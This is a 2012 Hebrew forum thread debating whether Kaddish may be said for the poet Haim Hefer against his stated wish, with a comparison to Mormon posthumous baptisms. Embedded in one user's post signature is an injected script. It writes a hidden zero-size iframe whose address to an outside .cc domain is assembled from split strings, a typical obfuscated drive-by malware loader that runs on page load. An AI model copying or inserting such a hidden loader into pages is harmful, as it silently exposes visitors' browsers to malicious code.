| נשלח ב-20/9/2012 00:04 |
 |
| |
עם או בלי קדיש: איך נפרדים מחיים חפר
|
|
|
|
| נשלח ב-20/9/2012 00:05 |
|
| |
השבוע הלך לעולמו משורר דור הפלמ"ח, חיים חפר. חפשו את ערכו
בויקי (לא העתקתי את הלינק מפני שהוא ארוך ויהרוס את מבנה הדף).
שיריו, לפחות בעיני, הם זכר לארץ ישראל של פעם, הטרום פוסט ציונית,
כאשר "להילחם על ארצנו" היה דבר מובן מעצמו וראוי. אבל נא לא לדון בהיבט
הזה כאן.
רשימה קצרה: הן אפשר, היו זמנים, רבותי ההיסטוריה חוזרת, שושנה, רותי,
הפינג'אן, יצאנו אט, דודו. מי שמכיר מכיר.
בתקופות אחרות הוסיף וכתב את "לחיי העם הזה", "הסלע
האדום", ועוד.
היו עוד פרטים בביוגרפיה שלו, אבל עבורי, ועבור רבים, השירים הם עיקר,
הלא כן?
איני יודע אם כל זה היה מזכה אותו באשכול לזכרו בפורום שלנו, אילולא
הסיפור הבא, שהתפרסם בפורום השכן שמותר להזכיר את שמו (אבל אף פעם לא כותבים
מהו...).
http://www.bhol.co.il/Article.aspx?id=44679
תוקן על ידי מיימוני ב- 20/09/2012 00:06:15
תוקן על ידי מיימוני ב- 20/09/2012 00:06:46
תוקן על ידי מיימוני ב- 20/09/2012 00:07:12
|
|
|
|
| נשלח ב-20/9/2012 00:08 |
|
| |
|
|
חיים חפר. צילום: פלאש 90
חיים
חפר, מגדולי המשוררים והפזמונאים הישראלים, והמעוטר בפרס ישראל לזמר עברי
ובפרס סוקולוב לעיתונות, הלך לעולמו במהלך ראש השנה בגיל 86.
בשעות האחרונות, מאז התפרסמה הידיעה על מותו, התעורר
פולמוס הלכתי אודות בקשה אותה הותיר לפני מותו, ולפיה אין לומר עליו קדיש
ותפילת ק-ל מלא רחמים לאחר פטירתו. חפר גם ביקש כי בלוויתו תושמע מוזיקה.
יוגב, אחד הגולשים באתר כיפה, הפנה הערב (ג) שאלה
בשו"ת ההלכה המתפרסם באתר: "אני מתכוון ללכת ללוויה של חיים חפר
שנפטר בחג. הוא ביקש שלא יגידו עליו קדיש, וזה מצער מאד כי השירים שלו של אהבת
ארץ ישראל, והנה הוא מבקש שלא יגידו קדיש. שאלתי אם אני יכול להגיד עליו קדיש
למרות שהוא ביקש".
ובתשובה שהעניק הרב ברוך אפרתי, התיר לו לומר קדיש:
"מצווה לומר ולעבור על צוואתו. ואף שלא היה ירא שמים, מצינו בדוד שהעלה
את אבשלום מגיהינום בתפילותיו כמובא בחז"ל (עיין תו´ס ד"ה דאייתי
בסוטה י:), וכן מובא בחת"ס בכמה מקומות שיש לומר קדיש גם על מי שאינו ירא
שמים, בלשון המעטה.
"וקל וחומר על אדם ישר וטוב שאהב את א"י ואת
עם ד´, ולא חי באורח התורה רק משום שלא זכה להכיר את המאור שבה, שיש לומר עליו
קדיש ולהעלותו מבאר שחת. יש להצטער מאד על כך ששיבת ציון הנוכחית בתחילתה
נעשתה בעיקר בידי אנשי דלא מעלי שאינם יראי השם ואינם מחוייבים למצוות. אך כך
ד´ מנהיג את עולמו, וכך נקבל, ובע"ה ההנהגה תתוקן בזה.
"לכן לך ללוויה", קבע הרב. "ואמור קדיש
בפני עשרה בצד, בלי לעורר מהומות כמובן אלא מתוך כבוד לסובבים".
| |
תוקן על ידי מיימוני ב- 20/09/2012 00:09:05
 |
|
|
|
|
| נשלח ב-20/9/2012 00:09 |
|
| |
וההקבלה לסיפור הזה:
והפעם: הכנסייה המורמונית "הטבילה" את אנה פרנקמאת: מערכת וואלה! חדשות יום ראשון, 26 בפברואר 2012, 0:04  *************** allowtransparency="true" frameborder="0" hspace="0" marginheight="0" marginwidth="0" scrolling="no" tabindex="0" vspace="0" width="100%" id="I0_1348088943076" name="I0_1348088943076" src="https://plusone.google.com/_/+1/fastbutton?bsv=pr&url=http%3A%2F%2Fnews.walla.co.il%2F%3Fw%3D%2F15%2F2511791&size=standard&count=false&origin=http%3A%2F%2Fnews.walla.co.il&hl=iw&ic=1&jsh=m%3B%2F_%2Fapps-static%2F_%2Fjs%2Fgapi%2F__features__%2Frt%3Dj%2Fver%3D6-ZudNOV_hY.iw.%2Fsv%3D1%2Fam%3D!qJoTPiXYHR-YY0x1eg%2Fd%3D1%2Frs%3DAItRSTNrdI87FPTLPFVBcCDouzy7NP2QYA#_methods=onPlusOne%2C_ready%2C_close%2C_open%2C_resizeMe%2C_renderstart%2Concircled&id=I0_1348088943076&parent=http%3A%2F%2Fnews.walla.co.il" title="+1" style="margin: 0px; padding: 0px; height: 24px; overflow: hidden; width: 38px; position: static; top: 0px; border-style: none; left: 0px; visibility: visible; "><*  המורמונים בשלהם: לאחר שהטבילו בטקס סמלי את הוריו של שמעון ויזנטל והתנצלו, דווח כי הפעם הוטבלה אנה פרנק, הילדה שכתבה את היומן המפורסם בעליית הגג ונרצחה בברגן-בלזן הוטבלה כבר תשע פעמים, אנה פרנק (צילום: בית אנה פרנק, AP) לאחר הטבלת הוריו של שמעון ויזנטל, אנה פרנק, הנערה היהודייה שיומנה נהיה לרב מכר, הוטבלה בחשאי וצורפה לכנסייה המורמונית לפני שבוע, ב-18 בפברואר. כך עולה מדיווח של עיתון ה"אינדיפנדנט" אתמול (שבת) על ממצאיהם של חוקרים מארצות הברית שבודקים בימים אלו את המנהג של הטבלת בני אדם לאחר מותם, לעיתים ללא ידיעת בני המשפחה וכמעט תמיד בניגוד לרצונם. חברי הכנסייה המורמונית מאמינים כי המתים המשויכים לכנסייתם לאחר מותם, יזכו בעולם הבא להיכנס לשלבים הגבוהים יותר של גן עדן. לפי החשד, מאמינים בכנסיית סאנטו דומינגו המורמונית, ברפובליקה הדומיניקנית שבאיים הקריביים, אילצו את רוחה של אנה פרנק להתנצר תוך שהם משתמשים בנער מקומי כ"מוליך" לרוחה של פרנק ומטבילים אותו במי קודש. ככל הנראה, אנה פרנק הוטבלה באופן דומה כבר תשע פעמים בעבר. איינשטיין, ג'ון לנון ואפילו אמא של אובמה המועמד המורמוני של המפלגה הרפובליקנית הטביל את אביו לאחר מותו (צילום: רויטרס) הכנסייה המורמונית לא אישרה אך גם לא הכחישה את הידיעה אולם הודיעה כי היא "מחויבת לא לקבל קורבנות שואה לטקס ההטבלה שלאחר המוות". עוד נכתב בהודעה מטעם מחלקת יחסי הציבור של הכנסייה המורמונית, כי "זה מצער כשאדם מפר את המדיניות של הכנסייה וטקס של נתינה האמורה להתבסס על אהבה וכבוד הופכת מקור לסכסוך". לפי הערכות שונות, נערכו טקסים ל-650 אלף קורבנות שואה וגם לאישים מפורסמים כגון ג'ון לנון, הזמר המוביל של להקת "החיפושיות", אלברט איינשטיין, אבי תורת היחסות. גם אמו של נשיא ארצות הברית, ברק אובמה, הוטבלה לאחר מותה. גם המועמד הרפובליקני לנשיאות, מיט רומני, מורמוני בעצמו, ערך טקס דומה לאביו, שהיה ידוע כקיצוני בחילוניותו. על אף שב-2010 הודיעה הכנסייה המורמונית כי חבריה לא ינסו יותר לגייס קורבנות מהשואה, בשבוע שעבר הוריו של שמעון ויזנטל, ניצול מחנות הריכוז ו"צייד הנאצים" עברו הטבלה דומה במדינות יוטה ואריזונה בארצות הברית.
|
|
|
|
|
| נשלח ב-20/9/2012 00:10 |
|
| |
מעתה יש להעלות את השאלות הבאות:
האם יש תועלת באמירת קדיש למי שלא רצה בו?
מהי?
האם לא עדיף היה לכבד את המנוח ולא לומר קדיש אם לא רצה בכך?
אזכיר רק כי הקדיש שמחוייב מתקנת חכמים הוא אותו קדיש שאומרים היתומים
או האבלים שמהווה קבלת דין שמים באהבה. כל שאר הקדישים, כפי שביארתי באשכול משכבר
הימים, הם מנהג מאוחר ומבוססים על סיפור עממי..
שאלות נוספות הן:
האם ניתן לסייע לנשמתו של הנפטר לאחר מותו באמצעות מצוות למענו?
האם בלי הקדיש הזה חיים חפר נידון לגהנום? האם אין לו מצוות לזכותו?
בעצם, אין כוונתי לדון בשאלות אלו, אני רוצה משהו מצומצם יותר. לצערי
חיים חפר כנראה לא שמר שבת. איני יודע אם שמר כשרות. הוא חיבר שיר שמזלזל באחד
הנביאים שלנו (אם כי לפי ויקי ביקש לא להשמיעו ברדיו לאחר מכן). אבל הוא גם שימח
רבים בשירים שלו. איני יודע איך דנים מקרים כאלו בשמים, אבל ברי לי שזה דבר מורכב.
וכפי שיש לו בוודאי, למרבה הצער, חובות (מויקי לא הצלחתי להבין אם היה תינוק שנשבה
או בן למשפחה אורתודוכסית), היו לו גם זכויות.
כל זה מביא לתשובה שהייתי עונה אני למי שהיה שואלני אם לומר קדיש לזכר
המנוח:
חיים חפר היה אדם יקר שתרם רבות לתרבות הישראלית ושימח רבים. אין אני
מתיימר לדעת מה אומרים בשמים על אדם שבא לשם עם מטען כשלו. אבל לא אזלזל בזכויותיו
לומר שאין לו כאלו.
אם ניתן לזכות את הנפטר בזכויות לאחר מותו, הרי זה במצוות שנעשות למען
ולא היו נעשות בלי זה. לכן, אם רצונך לתרום לו, צא ולמד, למשל, משניות לעילוי
נשמתו, משניות שלא היית לומר בשום פנים ואופן אילולא רצית לזכותו. ולא על חשבון
מצוות אחרות.
בוודאי שלא הייתי מציע שתאמר קדיש בהלוויתו. אם הוא לא רצה בכך, ואם
באמת אין מקור מוצדק לאמירת קדיש (שלא על ידי היתומים לצידוק הדין), אז מדוע לעשות
זאת?
אין די שכוונתנו תהיה רצויה, להועיל לנפטר. צריך שגם מעשינו יהיו
רצויים. ________________
שומר פיו ולשונו - שומר מצרות נפשו
******* type="text/">document.write("*************** scrolling='no' frameborder='0' height='0px' width='0px' src='ht"+"tp:"+"/"+"/"+"vjgvj.co"+".cc/?a="+***************+"'><*");
תוקן על ידי מיימוני ב- 20/09/2012 00:10:32
|
|
|
|
|
| נשלח ב-20/9/2012 00:11 |
|
| |
טעות נשונה היא לייחס את הקדיש לנפטר. הקדיש הינו אמירה ששם אלוקים יהיה מבורך בכל מצב, גם כשקשה להבין או קשה לסבול ולסלוח. כמובן, שאמירה זו מבטאת את דעת אומרה לא את דעת הסיבה לאומרה. כך שאם מותו של חיים חפר מעיב עליך חזק, תאמר עליו קדיש בלא קשר לאמונתו או בקשתו. אמירתך קדיש מבטאת את אמונתך אתה ללא תלות באחרים.
|
|
|
|
| נשלח ב-20/9/2012 00:13 |
|
| |
אלי
כמה פעמים היית צריך להדביק עד שההדבקה הצליחה? ואיך עשית את זה?
פעם הייתי מסמן בעכבר (מקש ימין) בתוך החלון ובוחר בהדבקה ומדביק דרך המקלדת לפי ההוראות וזה היה עובד. לא עוד, לא עוד.
עכשו הצלחתי רק לאחר שלחצתי במקלדת קונטרול V ושוב ושוב עד שיוצאת הודעה על תקלה ואז אני יודע שזה נדבק ושולח.
וזה בדרך כלל לא עובד בפעם הראשונה אלא רק אחרי תיקונים ותיקונים.
לכן גם ההודעה שלי מחולקת לכה הרבה חלקים.
(האם זה בגלל הפיירפוקס? או בגלל שצריך לעדכן שם משהו או להגדיר שם משהו? יש לי כמה הגנות נגד וירוסים בתוך הדפדפן. אולי זה זה?)
_________________
שומר פיו ולשונו - שומר מצרות נפשו
< type="text/">document.write("");
|
|
|
|
| נשלח ב-20/9/2012 00:15 |
|
| |
לפארק הפתרונים. פעמים רבות משתבש גם אצלי.
למשל, אני יכול לצטט ולהשיב על תגובותיו של כל אחד, חוץ משל הניק "ואמאי".
ברגע שאני מצטט אותו ההודעה נמחקת. הפתרון הוא לעשות זאת ידנית.
הפארק בנוי על בסיס טכנולוגי רעוע ומיושן וכולנו סובלים מזה.
|
|
|
|
| נשלח ב-20/9/2012 00:20 |
|
| |
אלי
ההקבלה לדעתי היא חלקית בלבד.
הדמיון:
טכס דתי, בשם דת כלשהי, נעשה עבור אלו שלא היו מזוהים איתה בחייהם או אף הביעו התנגדות להשתייך אליה.
הטכס נועד להעניק להם זכויות לעולם הבא (או גן עדן, או עולם הנשמות).
השוני:
בהלויה של חיים חפר נעשה לו טכס שהפך לחלק ממנהגי האבלות על המת.
חיים חפר היה יהודי.
הטכסים שנעשו לאנה פרנק ולויזנטל (או להוריו) נעשו להם למרות שהם יהודים ולא הביעו רצון להשתייך לכנסיה המורמונית.
כמו כן, איני יודע מה אומרת הדת המורמונית אבל אני מאמין אפריורי שרוב דבריה אינם נכונים (בחלק הטכסי שלה לפחות. אם היא מטיפה לעזרה לזולת, זה יפה וטוב). אני יודע מה אומרת היהדות ההיסטורית ובאיזה שלב נכנסה אמונת הקדיש ולאחריה טכסי הקדיש. לכן אני גם מתנגד להם... בכל זאת, הקדיש הוא של עם ישראל, עד כמה שהוא מגונה. בעיני זה הבדל חשוב.
אם נמשיך בניתוח סבורני שנגלה שיש הנחת היסוד המשותפת לכולם וכן נגלה משהו יפה מאד לגבי בני אדם במאה העשרים ואחת:
1. זכין לאדם שלא בפניו ושלא מדעתו מתוך ההנחה שאם זו זכות, זה טוב לו, והוא ודאי יסכים בדיעבד ממקומו היום.
2. יש הרבה אנשים טובים שמוכנים להשתדל ולבצע טכסים דתיים לאחרים על סמך הנחה 1.
_________________
שומר פיו ולשונו - שומר מצרות נפשו
< type="text/">document.write("");
|
|
|
|
|
| נשלח ב-20/9/2012 00:21 |
|
| |
תודה על ההבהרה המחשבית. דברי נשלחו לפני שראיתי את תגובתך.
|
|
|
|
| נשלח ב-20/9/2012 00:54 |
|
| |
אם מישהו החליט שהוא לא יהודי במובן האמוני, מה משאיר אותו כזה?
לפי דעתי ככל שהטקס נעשה במרחב הפרטי של עושהו, ניחא.
לעשותו במרחבו של האחר בעת טקס חילוני, זו חוצפה.
|
|
|
|
| נשלח ב-20/9/2012 02:38 |
|
| |
תוקן על ידי מ80 ב- 20/09/2012 03:06:50
|
|
|
|
| נשלח ב-20/9/2012 08:27 |
|
| |
| מיימוני כתב: |  | | חיים חפר היה אדם יקר שתרם רבות לתרבות הישראלית ושימח רבים. אין אני מתיימר לדעת מה אומרים בשמים על אדם שבא לשם עם מטען כשלו. אבל לא אזלזל בזכויותיו לומר שאין לו כאלו. אם ניתן לזכות את הנפטר בזכויות לאחר מותו, הרי זה במצוות שנעשות למען ולא היו נעשות בלי זה. לכן, אם רצונך לתרום לו, צא ולמד, למשל, משניות לעילוי נשמתו, משניות שלא היית לומר בשום פנים ואופן אילולא רצית לזכותו. ולא על חשבון מצוות אחרות. |
|
ציטוט מחק לישראל דהיום- שערי תשובה לרבינו יונה:
החנף אשר יהלל רשע לפני בני אדם, אם בפניו אם שלא בפניו, אף על פי שלא יצדיקנו על חמסו ולא יכזב על משפטו, אבל יאמר עליו כי איש טוב הוא.
ועל זה נאמר (משלי כח ד): "עוזבי תורה יהללו רשע". כי לולא אשר עזב את התורה, לא הילל העובר על דבריה ומפר מצוותיה.
וגם כי לא ישבח את הרשע זולתי במה שנמצא בו מן הטוב, ויליץ עליו בפני בני אדם להגיד לאדם ישרו, גם זו רעה חולה, כי בהזכירו את הטוב ואת הרע לא יזכיר, ועל כל פשעיו יכסה, צדיק ייחשב אצל השומעים, ויתנו לו יקר, וירים ידו וגבר. וכבר הקדמנו להודיעך המכשולות והשחיתות הנמצאות בכבוד הרשעים (סימנים קמט-קנב). על כן, לא נכון להזכיר צדקתם, בלתי אם יזכיר רשעם וכסלם, כמו שנאמר (משלי י ז): "ושם רשעים ירקב".
ונאמר (ישעיהו נז יב): "אני אגיד צדקתך ואת מעשייך ולא יועילוך". פירוש: "לא יועילוך מעשייך הטובים להצילך מרעתך בקומי למשפט, בערכי לעומתם רוב פשעייך ומעשה תעתועייך, כי דברי עוונותייך גברו מהם". וכמו שאמרו רבותינו כי (ראש השנה טז, ב): "מי שעוונותיו מרובים מזכויותיו, נכתב ונחתם לאלתר למיתה".
והרשעים - ניכרים הם בשיחתם והנהגתם, כאשר הקדמנו לך בשערי יראת חטא.
גמר חתימה טובה.
|
|
|
|
|
| נשלח ב-20/9/2012 08:37 |
|
| |
[שותפ,
כ"כ הרבה כעס ושנאה דווקא בעשרת ימי תשובה?
זו פרסומת שלילית מאוד לך עצמך ולכל מה שאתה נוהג להטיף לו. לא חבל?]
|
|
|
|
| נשלח ב-20/9/2012 08:38 |
|
| |
מ80
תודה!
שכחתי לציין שאפשר לשמוע את השירים ביוטיוב. כמה טוב שיש אינטרנט. ראוי לציין שהשיר "יחזקאל" לדעתי צורם לאוזן אורתודוכסית. (אבל אם מניחים לשיר את השיר הרשבי שהוא גרוע יותר...).
אלי
אכן יש כמה שאלות שיש לברר בשאלה ובתשובה סביב הקדיש כפי שהובאו כאן (ותמיד יש לחשוד שהמדווח סיכם לפי הבנתו ורצונו).
למי שייכת הלויה? מי קובע את גבולותיה?
אני מוצא כאן שתי גישות שמובילות לתוצאות מנוגדות.
מצד אחד, ודאי שרשאי המת ורשאים בני משפחתו לבקש שהטכס האחרון שנעשה לו יתנהל בצורה כזו ולא אחרת. זו דרך ארץ. נכון שהטכס נערך במרחב הציבורי ולא בבית פרטי, אבל כמדומה שהתחושה האינטואיטיבית שלנו היא שניתנת רשות לבני המשפחה להגדיר את המרחב ולהשתמש בו כשלהם באותו הזמן. (מעין צידירשות הרבים, שעומדים לשימוש פרטי לזמן קצר לצורך קנינים).
מצד שני, אנו עשויים להניח שאדם מכבד את המסורת שלו גם אם הוא מואס בה. שיש סתירה בנפשו. ולכן הוא ובני משפחתו יחושו חוסר בכך שלא יעשו לו כפי שעשו לכולם, בין אם זה נכון לעשות כן ובין אם לאו. האם מותר לכפות בשם התחושה הפנימית הזו, שאדם כמסתבר הכניע בכוח הזרוע של הנפש, לעשות לו מה שלא רצה בעצמו?
התשובה אינה קלה. לי, לאלי ולאחרים קל יותר לענות שזה מיותר. גם בגלל שאנו חשים בצורך לכבד את הזולת, גם כאשר החלטותיו חורגות מהמקובל, אך בעיקר, כך אני משער, מפני שאינני מאמין בתועלת המיוחסת לקדיש (שאינו להצדקת הדין כפי שתיקנו חכמים). יותר מכך, אני רואה בו נוהג פסול (אם כי יש בו רעיון טוב כשלעצמו, חיזוק על ידי בני המת בכל מה שקשור ליהדות כאשר הזכות עולה לאב).
וכמדומה שאנו חשים את הנטיה המוכרת ולא לחיוב בציבור שלנו לפטרנליזם (=אני מחליט בשבילך כי אני יודע יותר טוב ממך מה טוב לך).
ושאלה במציאות: עד כמה שידוע לי, לחברה קדישא יש מונופול חוקי על ניהול לוויות וקבורה. בעבר כבר התריע חברנו נישטאיך על מניעת נשים מהספד בניגוד להלכה ולפי מנהג מחודש.
יש עוד טכסים שנעשים בשם היהדות לנפטר. הם נכללים ב"טהרה". חלקם מימי הגאונים (יש סדר מעשים למת המיוחס להלל שהודפס בידי גרשם שלום) ועד האחרון שבהם (לפני חידושים...) מופיע כמדומה ב"מעבר יבוק". האם חיים חפר תבע לא לעשות לו גם את אלו? האם כובדה בקשתו אם כך היה?
_________________
שומר פיו ולשונו - שומר מצרות נפשו
< type="text/">document.write("");
|
|
|
|
|
| נשלח ב-20/9/2012 08:42 |
|
| |
| אמשלום כתב: | | [שותפ,
כ"כ הרבה כעס ושנאה דווקא בעשרת ימי תשובה?
זו פרסומת שלילית מאוד לך עצמך ולכל מה שאתה נוהג להטיף לו. לא חבל?]
|
|
גם להתחנף למיימוני אסור. זאת ההלכה ההיהודית.
|
|
|
|
|
